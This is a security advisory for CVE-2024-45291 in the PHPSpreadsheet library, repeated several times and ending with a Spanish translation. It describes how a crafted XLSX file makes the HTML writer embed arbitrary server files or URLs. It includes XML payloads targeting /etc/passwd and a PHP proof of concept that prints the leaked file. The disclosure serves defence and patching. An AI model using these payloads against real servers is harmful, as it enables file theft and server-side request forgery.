CVE-2024-45291

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests. Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. there are no known workarounds for this vulnerability.

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests. Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible. This issue has been addressed in release versions 1.29.2, 2.1.1, and 2.3.0. All users are advised to upgrade. there are no known workarounds for this vulnerability.

### Summary It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. ### Details XLSX files allow embedding or linking media. When In `xl/drawings/drawing1.xml` an attacker can do e.g.: ```xml <a:blip cstate="print" r:link="rId1" /> ``` And then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as: ```xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="/etc/passwd" /> ``` or ```xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="http://example.org" /> ``` When the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used. ```php if ($this->embedImages || str_starts_with($imageData, 'zip://')) { $picture = @file_get_contents($filename); if ($picture !== false) { $imageDetails = getimagesize($filename) ?: ['mime' => '']; // base64 encode the binary data $base64 = base64_encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; } } $html .= '<img style="position: absolute; z-index: 1; left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: ' . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="' . $imageData . '" alt="' . $filedesc . '" />'; ``` ### PoC ```php <?php require 'vendor/autoload.php'; $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(__DIR__ . '/book.xlsx'); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->setEmbedImages(true); $output = $writer->generateHTMLAll(); // The below is just for demo purposes $pattern = '/data:;base64,(?<data>[^"]+)/i'; preg_match_all($pattern, $output, $matches); print("*** /etc/passwd content: ***\n"); print(base64_decode($matches['data'][0])); print("*** HTTP response content: ***\n"); print(base64_decode($matches['data'][1])); ``` Add this file in the same directory: [book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx) Run with: `php index.php` ### Impact When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.

### Summary It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. ### Details XLSX files allow embedding or linking media. When In `xl/drawings/drawing1.xml` an attacker can do e.g.: ```xml <a:blip cstate="print" r:link="rId1" /> ``` And then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as: ```xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="/etc/passwd" /> ``` or ```xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="http://example.org" /> ``` When the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used. ```php if ($this->embedImages || str_starts_with($imageData, 'zip://')) { $picture = @file_get_contents($filename); if ($picture !== false) { $imageDetails = getimagesize($filename) ?: ['mime' => '']; // base64 encode the binary data $base64 = base64_encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; } } $html .= '<img style="position: absolute; z-index: 1; left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: ' . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="' . $imageData . '" alt="' . $filedesc . '" />'; ``` ### PoC ```php <?php require 'vendor/autoload.php'; $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(__DIR__ . '/book.xlsx'); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->setEmbedImages(true); $output = $writer->generateHTMLAll(); // The below is just for demo purposes $pattern = '/data:;base64,(?<data>[^"]+)/i'; preg_match_all($pattern, $output, $matches); print("*** /etc/passwd content: ***\n"); print(base64_decode($matches['data'][0])); print("*** HTTP response content: ***\n"); print(base64_decode($matches['data'][1])); ``` Add this file in the same directory: [book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx) Run with: `php index.php` ### Impact When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.

PHPSpreadsheet es una librería PHP pura para leer y escribir archivos de hojas de cálculo. Un atacante puede construir un archivo XLSX que vincule imágenes desde rutas arbitrarias. Cuando se ha habilitado la incrustación de imágenes en el escritor HTML con `$writer-&gt;setEmbedImages(true);`, esos archivos se incluirán en la salida como URL `data:`, independientemente del tipo de archivo. También se pueden usar URL para incrustar, lo que da como resultado una vulnerabilidad de Server-Side Request Forgery. Cuando se ha habilitado la incrustación de imágenes, un atacante puede leer archivos arbitrarios en el servidor y realizar solicitudes HTTP GET arbitrarias. Tenga en cuenta que se puede utilizar cualquier contenedor de protocolo PHP, lo que significa que si, por ejemplo, se habilita el contenedor `expect://`, también es posible la ejecución remota de código. Este problema se ha solucionado en las versiones de lanzamiento 1.29.2, 2.1.1 y 2.3.0. Se recomienda a todos los usuarios que actualicen. No se conocen workarounds para esta vulnerabilidad.